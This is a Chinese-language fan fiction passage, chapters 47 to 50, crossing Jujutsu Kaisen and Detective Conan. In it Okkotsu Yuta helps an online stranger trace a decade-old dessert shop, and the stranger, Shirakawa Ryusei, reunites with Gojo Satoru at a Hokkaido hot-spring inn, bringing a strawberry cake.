他想问的问题,后面的网友也不会放过八卦之心,纷纷嘴替一样问了。 [11L:喜欢的人是怎麽回事呢?] [回复11L:就是喜欢的人,算是十年没见了。] [11L回复:啊呀呀,十年?学生时代的恋人吗?] [回复11L:不是恋人,没有表白过(微笑)。] 乙骨忧太被这个(微笑)搞得浑身不舒服,现在大家都用这种表情阴阳怪气,很少有人拿来表示友善。这个人怕是年纪挺大了吧,十年前的暗恋也不一定就是学生时代的。 [14L:赔罪是什麽意思?你做了什麽,不会是想追求女人结果被讨厌了吧。] [15L:一看就是拿不出有价值的东西,只会拿这是你以前最喜欢吃的东西我特意买回来作秀的阴暗油腻悲惨大叔,恶心。] 哇,这个人嘴好毒啊。 [很生气日行一善(神经邻居要毁灭世界心情不爽版)] 15L的昵称与14L一样,因为说话很难听,被乙骨特别注意了一下。 看起来也是个怪人。 问什麽的都有,不乏被15L带节奏开始谩骂的人,乙骨也不知道为什麽网上的风气会变成这样,但更多人表示对楼主的支持,纷纷替他想办法,短短一个小时内提供了3家甜品店的信息,但都被住在附近的热心网友否决了。 [回复237L:不是这家啦,这家在我高一的暑假开业的,才开了8年。] [回复374L:也不是这家,这家的草莓奶油蛋糕是去年才开始供应的。] [376L:就不能从图片的背景入手吗?这麽明显的线索。] [回复376L:我试过了根本不行,这图太糊了,背景还失焦,放街景图网站搜相似图片什麽也出不来。] 没有结果楼主也没表现出失望,单占了一层楼打了两个字。 [谢啦。] 如果找不到的话,会很失望吧。乙骨不知不觉开始不停刷新页面。 “在看什麽忧太?嗯?就连你也开始沉迷网络了吗?”五条悟同样坐在后座里,凑过来一副要看乙骨手机屏幕的样子。 乙骨吓得马上收起手机,五条老师靠得太近了,他甚至能闻到对方口中的糖果味。 “诶?背着老师有小秘密了,被熊猫和棘带坏了啊。” “不是啦,五条老师,我只是在刷论坛。” 乙骨直接解释清楚,五条悟反而没什麽兴趣了,本身也只是逗学生玩。他往车门处一靠,无聊地打了个哈欠,用各种不知名的调子哼着“温泉,温泉,泡温泉。”声音逐渐含糊,好像很快就要睡着了。 果然是为了泡温泉才跟来的吧! 不过,五条老师的性格真的好像孩子。 乙骨微笑着重新按亮手机屏幕,看到刷新出来的消息。 [389L:街景里是不是有个摩天轮?附近肯定有游乐园。天哪,我简直是平成年代的福尔摩斯。] 游乐园啊,北海道的……嗯?! 乙骨忧太坐直身体,突如起来的记忆像闪电劈开迷雾。 他记得六岁的时候,在北海道的外公家住过几天,有天外公带他去游乐园,玩了一天后,领着他走过一条长长的街,排队买甜品。 那次排队真的等了好久,所以他印象深刻,而且买的就是草莓奶油蛋糕!“因为是限量的 ,只能今天等了,忧太是不是累了?”对啊,外公是说过这样的话! 乙骨忧太重新点开那张图。 小时候拆开包装时,似乎有特制的手写卡片,他还对上面的花体字惊叹过。 三指放大图片,果然,上面也有张白色的卡片,隐隐露出英文花字体的痕迹。 乙骨忧太的心砰砰砰快速跳动起来,没想到破案的线索竟然在他这,他简直是平成年代的福尔摩斯!这种莫名其妙的参与感和能帮助别人的快乐让他脸颊发红,乙骨直接点开了那人的私信。 [你好,我好像知道那家店在哪。] 对方很快回复,[谢谢,在哪里?] 具体地址乙骨不记得,但肯定在外公家附近,[请稍等,我很快就能找到!] 外公家附近的游乐园,出门后走一条长长的街,已经开了超过十年的甜品店……乙骨点开谷歌地图,先定位外公家的位置,然后三指缩小屏幕。 “忧太!” “啊!” 一只大手拍在了他的肩膀上,乙骨忧太吓了一跳,手机掉到了脚边。 “到了,要下车了。”五条悟睁开眼罩后的眼睛,忧太果然有自己的小秘密了,心跳声很激动,要做坏事吗? 作为有师德的教师,他是不会干涉学生的隐私的,忧太这样的性格会闯什麽祸呢?果然很令人期待。 “好的,五条老师。” 乙骨忧太捡起手机,匆忙下车,接下来,和辅助监督告别,去旅馆办理入住,都没机会看一眼手机,等安顿下来,五条老师去泡温泉了,他才有机会定位那家甜品店的地址。 添加好友的提示还没弹出来,乙骨无聊间点进那个人的个人数据,刚刚没注意,这才发现对方的头像是绯村剑心,昵称是我起了一刀秒了,个人简介是,“如果握着刀,我就无法拥抱你,如果没有刀,我就无法保护你。” 成分复杂又简单,让正值看《周刊少年JUMP》年龄的乙骨忧太都羞耻地想把目光移开。 下面就是他曾经发过的帖子,紧跟在个人简介后面,最新的也已经是十年前的了。 [Hot!面具男绝对是宇智波带土,铁证如山!] [天翔龙闪简化版实操教学,百分百保证三次元人类也能做到。] [明天去高中报道,有什麽要注意的吗?] [BLEACH的签售单行本,新鲜出炉!] 乙骨忧太难以把贴子里回复简洁,不知道line的人,和这个一看就二次元浓度超高的少年联系起来。十年的时间没上网也没看过动漫吗? 是有什麽心事吗? 社会真是好恐怖,都把人折磨成这个样子了。 第47章 那年夏天的限量草莓奶油蛋糕 对面的人很快就加上了乙骨的好友。系统自带的空白头像,名字是一个句号。 乙骨沉默,论坛上那个真的是他自己的账号吗。 他马上把定位发过去了,补充道,[不能百分百保证正确,是我小时候去过的店,全凭模糊的记忆想起来的。] [。:这是你的真名吗,乙骨?] [乙骨忧太:嗯……为什麽这麽问?] [。:没什麽,这个姓氏很少见,感到好奇。] [乙骨忧太:是我的真实名字(害羞笑)] [。:谢谢你,乙骨。] [乙骨忧太:没关系,不知道能不能帮到你呢,希望你喜欢的人早日原谅你。] 这麽发出去,乙骨觉得有些冒昧了,但发出去的话已经显示已读,不好再撤回了。 [。:没有怪罪我,只是我单方面想要赔罪。] 诶?既然对面顺着话题说了,证明有沟通的意愿,乙骨按捺不住好奇心,他真的很想知道这个人的恋情故事。 直接问的话不太好,那旁敲侧击一下? [乙骨忧太:你喜欢的人是什麽样的人呢?] 叮铃—— 廊下的风铃又响了,还有五条老师的哼歌声,听起来心情很愉快,“忧太,给老师拿条毛巾。” 乙骨马上放下手机,在柜子里拿了条毛巾,掀开布帘出去。 “五条老师,这种天气为什麽不泡室内温泉,雪还没化,风也很冷吧。” 天气很冷,因此温泉蒸腾的雾气比往日要大。半透明的白色雾气,其中包裹的身影也是白色的。五条悟倚在温泉边,牛奶般洁白的肌肤,银白色湿润的发,如真似幻,显出不真切的感觉。 乙骨忧太把毛巾递过去,一只修长的手接过,指尖和骨节的肤色因为热气泛出微红。 静止的水面因五条悟的动作轻轻哗然。 “忧太这就不懂了,在雪中泡温泉才是人生的顶级享受之一。” “真的吗?那一会我也……哇啊!” 他并不是一惊一乍的性格,但这是第一次看到五条老师没有带眼罩的脸。 “眼罩变得湿漉漉的,戴起来不舒服。嗯?很惊讶吗?不会是觉得五条老师是帅哥这件事很令人惊讶吧。” 偶尔听对方自称帅哥五条老师,但乙骨没有往心里去,五条老师的眼罩,和因为戴眼罩竖起来的头发显得要多怪有多怪。 竟然真的是帅哥!不仅如此,还是出乎意料的超级大帅哥。 之前头发全都撩上去的时候,露出明显的下颔线,是成熟男人的气质,现在头发湿漉漉地贴在脸侧,再加上比杏眼稍微淩厉一点,尾稍微微上扬的眼型,更显出一些少年气来。 更让人惊讶的是眼睛,乙骨震惊地站在原地,“五条老师的眼睛好漂亮。” “看呆了吧,忧太果然也被老师的眼睛迷住了。”五条悟展开笑容,大方地任由学生观赏他的面容。 外面的空气很冷,他重新缩回水里,只留下一截肩膀,手臂深入水下,两只手合上一挤,一串水泡就咕噜咕噜冒了上来。 乙骨:…… 好歹做点对得起这张脸的事啊。 他重新回到室内,打开手机,发现句号先生那边没有回复,并且上面一直显示着“对方正在输入”。 有料! 没等几秒,对面正好发来消息,巨长的一大片,乙骨神情一凛,认真拜读。 [。:各方面无死角完美的人,非常帅气,非常美丽,个子很高,家世很好,品味超绝,爱吃甜食这点也很可爱。最重要的是,性格超级好,很开朗,会炒热气氛,听到他的声音就开心。很负责,很会关心别人,不像大多数人做了点什麽就要大肆宣扬,明明是开朗到有点轻浮的性格,却是背后默默付出的类型,就是因为这样才更让人喜欢啊。] 乙骨:瞳孔地震。 信息量太大了!“他”?对方竟然是男人吗?句号先生也是男人吧!看论坛里十年前的口气,明显是个热血男高啊。 而且句号先生,你打这麽多字好像ooc了。 不过,说起爱的人就滔滔不绝,这也算一种浪漫啊。乙骨莫名就get到了这种深情的魅力。 [乙骨忧太:能喜欢这样的人,真是太好了!] [。:谁说不是呢,你也是这麽认为的吧。] [乙骨忧太:我完全支持你,句号先生!] 遭了,把偷偷起的外号叫出去了,不过,句号先生好像没有在意。 [。:我就知道你会懂这种感觉,乙骨。] [乙骨忧太:什麽意思呢?什麽叫知道我会懂,我不明白?] 当然因为你是纯爱战神啊。 白川琉世站在甜品店的玻璃柜前。 乙骨说的这家店确实没错,向店主出示了照片,对方很惊讶有人能拿着十年前的照片找上门来。 “是我们家的,不过这款蛋糕现在已经不做了。” 白川琉世失落地站在原地,“这样吗?那也没办法,可能我再也没机会为他送上那天的甜点了。” “嗯……,是什麽情况呢?要送人吗?” “对啊,是十年前打算告白的人,后来出了意外没能赴约,我就从他的人生里消失了十年,他没办法联系上我,肯定担心了好久。那天买的蛋糕,肯定也被我败坏了心情,没办法好好享用。” 店主是个年近半百的大叔,听着眼前的青年说着自己的故事,因为过于惊讶而微微愣神。 “不知道怎麽赔罪才好,就想先从这个开始。” 高大的青年穿着既复古又潮流,店主也不懂时尚,就是觉得对方的外套和头发有点像自己儿子叛逆期时的风格。不过,这样一个不良青年,也会有这麽纯情的心情啊。 “阿娜答,不就是蛋糕吗,再做一次好了。”站在后厨门口的女人似乎是店主的妻子,相当感动,“你快去做,材料都有,反正今天店里也不忙。” “啊,好,好。”店主露出慈爱的笑容,“那就从这个开始吧,没事,大叔这就做。美惠,仓库里还有一样的包装盒吗,你去看看?” 叫美惠的女人应了,让白川琉世坐在店里的等着,“最多两个小时就能做好,你先坐啊。” “谢谢。”白川琉世礼貌地微笑,白坐在这不太合适,又额外点了杯咖啡。 他点开手机,看到乙骨又发来了消息。 [乙骨忧太:说起来很巧,我正好也在北海道呢。] [。:家里住在那边吗?] 乙骨忧太看到对方回了消息,松了口气,刚刚担心反问对方的话太冒昧,他又找了句别的遮掩过去。 [乙骨忧太:不是的,是去那边出差。] [。:已经工作了吗?交谈起来,我还以为你是高中生呢。] [乙骨忧太:我确实是高中生,是特殊情况啦。] [。:你这个年纪一个人出远门吗?没有大人可不行。] [乙骨忧太:我的老师也在,没问题的,谢谢你的关心。] 乙骨忧太看到,这次“对方正在输入”的时间有点久。 [。:那样就好,应该是我谢谢你,如果不是你,我也找不到这里。] [。:图片] 乙骨忧太点开图片,是个有着漂亮橱窗的甜品店,木质的大门上还挂着不久前圣诞节的松枝花环。 对呀,好像确实是这里。 [乙骨忧太:这麽快就找到了,你本来就在附近吗?] [。:是,很巧。] [。:我也是第一次来北海道,正好到了,想问下附近有什麽好玩的地方?乙骨同学来这里出差,有没有什麽可推荐的?] [乙骨忧太:我上次来还是小时候,不太清楚。] [乙骨忧太:但是我现在住的这家温泉旅馆,听说很有名,新雪谷町那个,网上搜一下就能看到。] 等祓除了特级咒灵,这里就没危险了,推荐给对方也不错。 白川琉世马上打开了浏览器,搜索地名。 这个也是一点戒心都没有。 他并不是第一次来北海道,不然也不能发送过来。 一个一个的,天真的人只能带出天真的小孩,教出天真的学生,对不对,悟? [。:好的,有机会我会去的。那家的蛋糕你吃过吧,乙骨同学,味道怎麽样?] [乙骨忧太:其实忘记啦,不过应该很好吃,当时很难买呢。] [。:你也喜欢吃蛋糕吗?] [乙骨忧太:还好,说不上很喜欢,但也不讨厌。] 1月3日傍晚,草莓奶油蛋糕终于新鲜出炉,店主特意切成了与照片上一样的方形,按照客人的要求,切了两块,用仓库里找出来的同款包装盒装上,捆好丝带。 白川琉世付过钱,在祝福声中离开。街道上,店铺放的流行歌曲都是没听过的,书店玻璃窗上张贴的海报也是没看过的新番,错乱的时间回到了正确的轨道上,十年的等待、担忧、思念,等察觉到时,已经沉重到有些无法面对。 那要逃避吗? 开什麽玩笑。 不想面对那他来这里买什麽蛋糕。 啊,差点忘了,漏瑚和真人还在黄泉津比良坂里塞着呢。 现在没心情理他们。 黄泉津比良坂里可以创造无数交叠的空间,漏瑚和真人就被扔进了其中一个。白川琉世找到他们,调整了一下位置,把两只咒灵向宿傩的灵魂所在的空间投放进去。 竟然上赶着找宿傩,多少有点可笑了。 那就成全你们吧。 宿傩还不打算进入轮回,理由白川琉世并不好奇,也不打算过问,在黄泉津比良坂里,灵魂形态的宿傩无法杀死漏瑚和真人,白川琉世把三个人放进同一个空间,给他们一个相处的机会。 这可真是以德报怨、助人为乐的行为啊。 第48章 是五条老师的想再见你一面 今天的晚餐很丰盛。 大大小小的瓷碟摆了满满一桌,这家温泉旅馆的特色是豆腐料理,五条老师又点了烤鱼和炖菜,热腾腾的饭菜在冬天带给人温暖的感觉。乙骨忧太知道这是老师自掏腰包请他吃的,感谢过后,心情愉悦地享用起了美食。 旅馆里的餐厅并不算宽敞,但颇有古意,泡完温泉,穿上浴衣,坐在这种地方,感觉像在吃怀石料理。 五条悟坐在他对面,穿着旅馆统一款式的白色浴衣,因为身量较高,均码的男士浴衣有点小,露出一小截腕骨。 “甜点想吃什麽忧太,羊羹?铜锣烧?太老土了吧,还是冰淇淋好了。”五条悟抬头看这墙上的木牌,那是一个个手写的菜单,今日份供应的甜点只有三样。 “这种天气吃冰淇淋吗?” “就是雪天在温泉旅馆吃冰淇淋才有意思。” 五条悟马上要了两份冰淇淋,乙骨来不及拒绝,只好盘算着自己一会还能不能再吃下甜点。 说起来,五条老师身上压根就没有赶快做完任务,再赶快回去放松的气质,无论出什麽样的任务,兴致好的都像出游,会特意去买当地的甜点,去附近热闹的地方玩。 乙骨忧太不能理解这种感受,交任务前,他一定会有“我在出任务”的紧绷感。说起来,五条老师一直都很忙,因为没什麽真正的休息时间,才在做任务的时候很有生活感吗? 那样也难怪。 “是覆盆子的,”五条悟有些惊讶,“这种店也有这麽时髦口味的冰淇淋?我以为会是红豆沙口味。” 把装着冰淇淋的小瓷碗推给乙骨忧太,五条悟用小勺品赏新上的甜点。 “嗯?意外的超好吃。” …… “听说这家店很有名,你家大侦探不在,你连运气也变好了很多嘛,小兰。” 餐厅的门被打开,又来了新的客人。乙骨没有在意,小心地吃着碗里的冰淇淋。糟了,真的一点都吃不下了。 “啊!五条先生?” 年轻女孩惊喜的声音响起,乙骨惊讶地转头,店里新来的顾客是两个女孩和一个小孩,牵着小孩手的那个气质安静,另一个戴着发箍的,露出超夸张的惊喜笑容。 是五条老师的熟人吗? “咦?铃木小姐?”五条悟抬起头,嘴角还沾着一点覆盆子的红渍。 这不是那个铃木财团家的二小姐吗?两人在交际场合见过几次,也算是认识,但是对方是女高中生,和他学生差不多的年纪,根本没有交谈过。 五条悟伸出手摇晃了下,“你也出来玩吗?铃木小姐。” “我的名字叫园子,五条先生。”太幸运了太幸运了,今天简直是幸运A,不,幸运S+++!遇到了顶级中的顶级,极品中的极品,绝世罕见的超级大帅哥五条悟! 第一次在社交场合见过五条悟时,铃木园子回家就展现出了惊人的意志力,缠着父母要和五条悟订婚。那当然是小孩子一时兴起,铃木夫妻知道女儿的本性,只要看到帅的没有一次不是这样的。后来姐姐结婚,铃木园子需要招赘继承家族,自己也断绝了这个不切实际的想法,五条悟也是五条家的独生子,他们是没可能的啦。 但看到帅哥谁会不喜欢,就是看看也好啊! 五条悟笑嘻嘻地叫对方“园子”,非常自来熟,铃木园子心里冒出了花,向对方介绍自己的同伴,“这是我的好朋友毛利兰,这次就是她抽中了温泉旅馆三人行,这孩子是江户川柯南,叫他柯南就行了。” 超幸运!翘掉今天的酒会和小兰一起旅游,果然是正确的决断。 社交场合总是这样,众人互相介绍。 “我的学生乙骨忧太,差不多和园子你一样大吧。”在28岁的五条悟眼里,15岁和17岁也没有多少区别。 “学生?大哥哥,你是高中老师吗?” 通常这种场合,小孩子总是被当做背景板,五条悟也没在意,没想到会被问这种问题。 “当然啦,我可是蝉联了学校五年最受欢迎教师的头衔。” 乙骨忧太:咱们学校的老师一只手都数得过来吧? 柯南眼中精光一闪,不再出声,而是默默听他和园子寒暄。 戴着眼罩,本来以为是盲人,但看到他指着墙面的菜单向园子介绍特色菜,可以推翻这个结论。语气浮夸,但气场很强,小动作有受过战斗训练的痕迹。和学生出差过来?什麽情况下高中老师会和学生一起出差?现在可是寒假。那位乙骨忧太气质纯良,但手上有薄薄的茧,受过武器训练,但时间不会太久。 柯南想起前几天遇到的那几个人,该不会是…… “好想转学到五条先生的学校上学啊。”铃木园子捧着脸颊感叹。 气氛已经被两个开朗的人炒热了,五条悟摆着手大声说,“不行啦不行啦,园子你咒力太少了。” 柯南愣住:什…… “好失望,不过,转学的话就不能和小兰在一起了。”铃木园子重新打起精神,“我们先去点餐了,五条先生。” “晚上不要出门,园子。”五条悟露出笑容,嘴角弧度肆意又张扬,难免会让人觉得轻佻,他压低嗓音,吓唬小女孩一样说,“最近这里发生了好几起命案,要小心哦。” 这麽说难免太不严肃了,乙骨忧太本着责任心,又认真地对几人说,“是真的,五条老师不是在开玩笑,一会请你们也去找旅馆的老板了解一下吧。新年前,有几位客人晚上离开房间,再也没回来,尸体全部出现在不远处的森林里。请你们晚上一定不要离开房间。” 那是咒灵害的,但没办法直接和对方说,五条老师刚才说过咒力这个词,对方是可以不用保密的人吗?乙骨摸不清这个界限。 “诶?”柯南来精神了,“请问……”他刚开了个口,就被铃木园子唰地捂住了嘴,拎到了一边。 “是那个吧,我明白了。”没心没肺的园子少见的露出严肃的表情,这比遇到案件还让柯南惊讶。 园子什麽都知道! 柯南察觉到这点,没有挣扎地被园子拎去别的座位,直到吃完饭回到房间,他跑去没完没了地套园子的话。 “小兰,干嘛把他也带出来啊,小孩子对这些感兴趣做什麽。还有,今天这个不是什麽案件,不要偷偷跑出去。” 柯南推了下自己的眼镜,镜片白光一闪。 “我只是前两天遇到和那个眼罩大哥哥一样的人,他们穿着深蓝色校服,钮扣是旋涡形状的。小兰姐姐,就是银座咖啡馆那次。” 不管怎样,先诈一下吧。 “啊,和那些人有关系吗?”坐在桌边翻看旅游杂志的小兰微微出神,“原来他们是五条先生学校的学生。” “你们遇到过?”园子不可置信地看着柯南,“你还真是倒霉啊。” 柯南:…… 谢谢啊。 “跟你们说也没关系,省的你这个小鬼不怕死的出门被怪物啃掉。”铃木园子把食指竖在嘴唇中间,“这些事一般人都不知道,要保密。” 柯南郑重地点点头。 “那些人是咒术师啦,咒术师里面有几个豪门,和我们有联系,那些政客和最有钱的一批人都知道他们的存在。” “咒术师?”果然如柯南所想,是拥有异能的一类人。 “就是……,”园子的手臂在空中比划着,“具体我也不清楚,好像人的负面情绪会产生怪物,一般人看不到怪物,只有咒术师能看到,所以他们就到处消灭那些怪物。” 柯南嘴巴一张就要继续问,园子早有准备马上捂住耳朵尖叫,“啊啊,哪有这麽多问题,小兰快把他快递回米花町吧。” 小兰手中的杂志险险滑落到地上。 “诶?怪物?园子,以前从来没听你说过。” “一般人反正也遇不上超强的怪物,知道了反而对心理状况不好吧。” 柯南:园子的神经还是那麽粗啊。 “园子说得对,柯南,今天你绝对不允许偷溜出去。” …… 讲个笑话,和柯南说你不要偷偷溜出去。 小兰跟你说不要偷偷溜出去,你溜不溜。嗯?告诉我你溜不溜。 你死都要溜。 …… 是夜。 温泉旅馆最西侧的小庭院里,空气中有股淡淡的水腥气,微弱的硫磺味道,还有……浓烈的樱花香气。 庭院的正中有棵樱花树,正值盛开,枝繁叶茂,是相当美丽的一副画面。往外伸着的枝干上,搭了一架秋千,一个深色头发的女孩坐在上面,悠悠晃荡着。 “忧太。” 女孩笑着,深红的眼睛满是眷恋和痴迷,微微抬手,仿佛要触摸恋人的脸颊。 “里…香。”乙骨紧紧绷紧嘴角,哇地吐出一口鲜血。这次的咒灵好像已经生出了灵智,而且用的是精神攻击。 身体周围仿佛波纹一样荡开的震动感,令乙骨忧太头疼欲裂,他紧握着刀柄,急切地出声,“里香,我没有那个意思,不要再被我束缚了。” 说话的对象并非咒灵。 尽管里香已经成佛,乙骨忧太还是害怕自己无意识的执念再次诅咒她。 “忧太,退步了好多啊,需要老师帮忙吗?” 五条悟站在乙骨身后不远,眼罩已经除了下来。庭院中刮起大风,花瓣随着越来越劲的疾风扑面而来,浴衣的下摆也被风吹得猎猎而起。他伸手夹住一片花瓣,瞬间灌注进咒力,空中飞舞的每片花瓣都变成了一道裂痕,眼前的一切像镜子一样崩裂。 女孩的笑颜破碎,一点点消散,乙骨周身的压力骤然松懈,心头的重压也一扫而空。 不如说格外空落落。 想见离别的人一面,因为这样的奢望,这里的咒灵诞生了。 [想再见你一面。] [请来找我吧,请再看看我吧,我思念着你啊。] 执念消散了,但爱意还在啊。 这次没有打扰到你吧,里香? 乙骨擦掉嘴角的鲜血,露出微笑,自觉自己能以更坦然的态度祓除咒灵,他举起刀,身旁却掀起轻微的气流。 五条悟从他身边走了过去。 苍蓝色的光在黑暗中拖拽出夺目的轨迹,五条悟的手垂着,[苍]安静地在指尖颤动,蓄势待发。 秋千依旧晃荡着,黑发少年脚掌撑地,控制着秋千的摇摆弧度,他有张冷峻的脸,金色的眼睛却带着笑意,流淌着温暖的色泽。 乙骨僵在原地,在重新纷飞起的漫天樱花瓣中辨认少年的脸。 “Satoru。” 啊,是五条老师的……? 少年穿着高专校服,乙骨怔忪在原地,手中的刀不知该不该斩下去,关于五条老师的回忆纷至沓来,内存贴的为他查找出路,画面最终定格在一张普通的宿舍门前,上面挂着一个小小的牌子。 白川。 那间宿舍的主人,一定是他。 …… 是五条老师的想再见你一面。 第49章 你是在追求我吗,琉世? 五条悟站在咒灵面前,相距只有一米。 特级咒灵产生的压迫对他而言约等于无,那拙劣的模仿令他一眼看穿,指尖的苍蓝色光芒安静跳动着,冷色的蓝光照在少年脸上。 少年明朗的笑容还是那年夏天的模样,眼睛像盛夏日光最盛时水面的碎金。 五条悟眨了眨眼,对六眼感到不适。这双眼睛看得太清楚了,就因为这样,咒灵才一点都骗不过他。 但是…… 好久没见了。 有一天,会不会忘记那张脸? 把手抬起来,咒灵马上会在[苍]下灰飞烟灭。 忧太终于发现了偷偷闯进帐里的小孩,跑去处理情况了,把任务目标丢下不管吗?真过分啊,把咒灵留给老师。 把手抬起来…… 其他人说话的声音逐渐遥远起来,有点吵,但听不清,脑子里被别的东西填满了,好像中了自己的无量空处。那些感情早就该在时间的流逝下逐渐消弭,而不是杂糅成随时袭来的牵痛。太不帅气了五条悟,已经不是十八岁的年轻人了,用苍把他一发解决了,和学生就这麽回去吧。 琉世…… 琉世真的存在吗?神明真的保佑他吗?为什麽家里人都这麽笃定?为什麽每年求的签都是大吉?巧合吗?为什麽学校三楼有挂着白川姓氏的宿舍?记忆是真的吗?还是现实随着虚假的记忆一起改变了?整个世界都在蒙骗他?如果是真的,琉世会回来吗?会回来吗?真的会回来吗? “Satoru。” 仿佛在耳边炸开一样,那道低沉的,模模糊糊的嗓音似乎贴着他的鼓膜响起。 五条悟浑身绷紧。 “Satoru。我在这里,不要看那个贗品了。” 什…… 什麽时候?六眼之前没有察觉到身后忽然出现的那个存在。 并不算什麽惊心动魄的相遇场景。 白川琉世站在五条悟身后,抬手柄咒灵四分五裂,他调整了被自己完全封印的咒力,只分出微弱的一点,以供六眼观察。 那是和他失踪前相差无几的咒力总量,这样会让悟更熟悉吧? 漫天的樱花瓣正在消散,五条悟转过了身。 视线撞入一片融金的眼睛,炽热而温暖,五条悟少见地完全发挥六眼的作用,想匆忙扫视过眼前人的全部,视线却矛盾地留恋在对方的脸上。黑色的长发,眼下的金纹,梦境中一模一样的脸,一切的猜想都验证了,他独自坚守十年的豪赌终于发出命运的回响。 他略带急促地呼吸着,视线过度专注,显得有些出神。 白川琉世也在看着他。 悟的眼睛还是那麽漂亮,任何宝石的光芒都比不过六眼的璀璨,不仅如此,连天然色系的天空和大海,也要随着光线的明暗、空气的湿度、潮汐的规律,无限制地调整自己,来追寻这种无法比喻的蓝。 是无论何时曾经见过,每次再见都令人惊心动魄的美丽的眼睛。 “真的很惊讶,是吗?”白川琉世忍不住展露笑容,看到悟心口就填满了喜悦,“对不起,我耽误了十年才回来,真的很过分,对不对?” 那张不可置信的脸,同样扬起喜悦的笑容。 “琉世。” “是我本人。” “我当然看得出来。” “不说欢迎回来吗?” “欢迎回来。” “就这麽老老实实说了?我还以为会挨骂。” “想挨骂的话等以后吧。” 他说以后诶,白川琉世的笑意加深了一分。 这里还发生了什麽,白川琉世并不关心,他全部的注意力只能放在五条悟身上,悟似乎也是这样的,两双奇异的眼睛对视,气氛融洽的什麽人也插不进去。 “穿得太少了,悟,会感冒吧。” 白川琉世扫了一眼对方的浴衣,这是他第一次见五条悟穿传统风格的服饰,真的很适合。 “哪有很少,我可是…” “别狡辩,快回房间里。” “嗯?琉世,如果你变成很糟糕的性格我可是不会妥协的哦。” 那种习惯发号施令的语气,明显感觉出来性格变了,五条悟光明正大地打量白川琉世,“还有,你现在几岁?” “有点复杂,以后慢慢说吧。”白川琉世为他推开房门,“快进来。” 什麽?怎麽有种被过度照顾的感觉,明明他才是年长者。 两人面对面坐在和室的桌子前,目光贪恋地停留在对方身上。悟的头发有洗发露的香气,嘴唇润润的,涂了唇膏,那是好好生活的痕迹,让白川琉世的心又安定了一些。比起十年前,悟的脸并没有变化多少,眼中依旧有少年时的神采,性格也没有变化太多。太好了,看来,除了工作的压力和 别人的不理解,没有受更多的苦。 悟也在看他,当然要观察一会了,可以啊,随便看,看多久都行。白川琉世知道自己变化很大,但那颗早就冻结在高处的心,此时恢复了属于人类的温度。 “担心我黑化了?除了杀死宿傩,我什麽也没做。咱们两个就不用走一遍误会、反转、再误会、再反转的狗血流程了吧?” 五条悟肩膀抖动,笑了起来,“因为琉世也有一颗聪明的大脑嘛。” “你知道我去了哪吧,所以一直没有给我发邮件。” 正因为笃定了他是古籍上的“黄泉津御命”本人,发了邮件也绝对收不到消息,所以并不做多余的事。 这种孤注一掷的信任,全心全意的期待,令白川琉世只要一想起来,心就化成一片柔软的汪洋。 “当然了,因为我就是这麽特别,从小就是,既然如此,就算真的有神保佑我也不奇怪吧。” 更何况,那是他亲眼所见的神明啊。 十年的等待、担忧、思念,神明同时报以千年的守护、祝福和爱意。 不仅如此,琉世还会觉得自己对不起他,哪有这麽傻的神啊。 “琉世,你简直有点傻。”五条悟忍不住指责,语调却带着温柔的尾音。 这个笨蛋,现在看起来和以前差别太大了,眉眼间的威仪和风霜,不是简简单单就能染上的,一定受了很多苦。 然而,五条悟并没有怀疑白川琉世走上与他完全相反的道路,没有过一丝一毫怀疑,琉世从骨子里,就是和他一样的人。 他们是同类。 “哪有,我明明超聪明的好吗。”白川琉世把随手放在桌下的纸袋提上来,“知道带礼物来找你,这样悟就不忍心生我的气了吧?” “那要看你准备了什麽礼物咯。”哪里忍心生你的气。 五条悟打开纸袋,映入眼帘的是两盒蛋糕,是甜点啊,真会投其所好。 一开始,他并没有反应过来,“既然这样,那帅哥五条老师也不好再说什麽了。”这麽略带玩笑地回应,直到拎着丝带把蛋糕盒高高抬起,透明的塑封盒,经典四方白色草莓奶油蛋糕,蛋糕胚中间夹着两层鲜艳的草莓果实,红色的丝带在顶部系成漂亮的蝴蝶结,金色细线绑着一张白色的卡片,一股熟悉的感觉攫取了他的注意力,五条悟下意识辨认上面的单词。 [White Lover] 卡片边缘有行小字。 [2007.09星野甜品店夏季限量] 五条悟一瞬间停止了呼吸。 白川琉世手肘拄在桌上,手掌蜷起,用手背撑着颧骨,明显成熟了很多的男人,在摇晃的蛋糕盒子后面微笑着。 2007年9月,北海道星野甜品店的夏末限量草莓奶油蛋糕,被五条悟失手打翻后,又在2018年的新年,好好回到了他手里。 [“你是在追求我吗,琉世?”] 心泛起绵密的酸痛,还有爱意流淌过的温柔涟漪,刚刚重逢的不真实感,在强烈情绪的冲击下完全消失。糟了,鼻子开始发酸了,琉世是不是疯了,竟然敢做这麽浪漫的事。如果这时候失态,以后肯定会被他嘲笑一辈子。 会吗?五条悟开始往这方面走神,虽然以前他很有主导性,但搞不好琉世胆子越来越大,现在就已经有这个趋势了。 这麽一打岔,鼻子倒是不发酸了,但是琉世怎麽…… 白川琉世在低头看手机。 他打了行字发出去,抬头的时候,就看到五条悟睁圆了漂亮的眼睛,一脸不可置信。 白川琉世:! 怎麽了?不是刚才还很感动吗? 他单独关闭了对悟感知情绪的能力,这种事唯独不想用在悟身上,但五条悟的薄怒实在明显,令人无法不察觉。 怎麽回事?哪里出了问题?怎麽生气了?白川琉世紧张地坐直,还好,五条悟马上就给了他答案。 “如果有不得不忙的事,那就去好了。” “这我哪有!”白川琉世把手机往桌子上一扔,反正刚刚消息已经发出去了,他丝滑道歉,“完全是我不对,原谅愚钝的我吧。” 这种事并不至于大动干戈,五条悟马上就抛到脑后了,他拿出纸袋里的另一盒甜点,“怎麽有两盒?琉世,你不是咸党吗?” “你带了学生啊,给学生的见面礼。” “你怎麽知道……”五条悟好奇白川琉世是怎麽知道他的位置,和他带了一个学生出来的,但这时忧太正好进来了。 反正对琉世很放心,五条悟就止住了问题。 “忧太,快来吃蛋糕了!” 乙骨忧太刚把那个奇怪的孩子劝回去,就看到手机传来语音通话的提示,响了一声就挂了。他奇怪地点进去,发现竟然是句号先生拨过来的。 点错了吗? 不,句号先生在line上给他留了言。 乙骨点进去一看。 [现在和悟在一起的人就是我,在我告白之前,请你先保密(微笑)] 乙骨忧太两眼一黑。 第50章 你在和我调情吗,悟? 所以这位表面看起来并没有二十七八岁年纪,却在十年前上高中的痴情网友,真的姓白川。 痴情的对象还是自己的五条老师! 乙骨忧太听到他自我介绍。 “我是白川琉世。” 简单一个名字,没有说自己是做什麽的,乙骨下意识地看向五条悟。 “琉世以前也是高专的学生,后来失踪跑去做诅咒师啦。”五条悟笑着说。 乙骨忧太:!!! 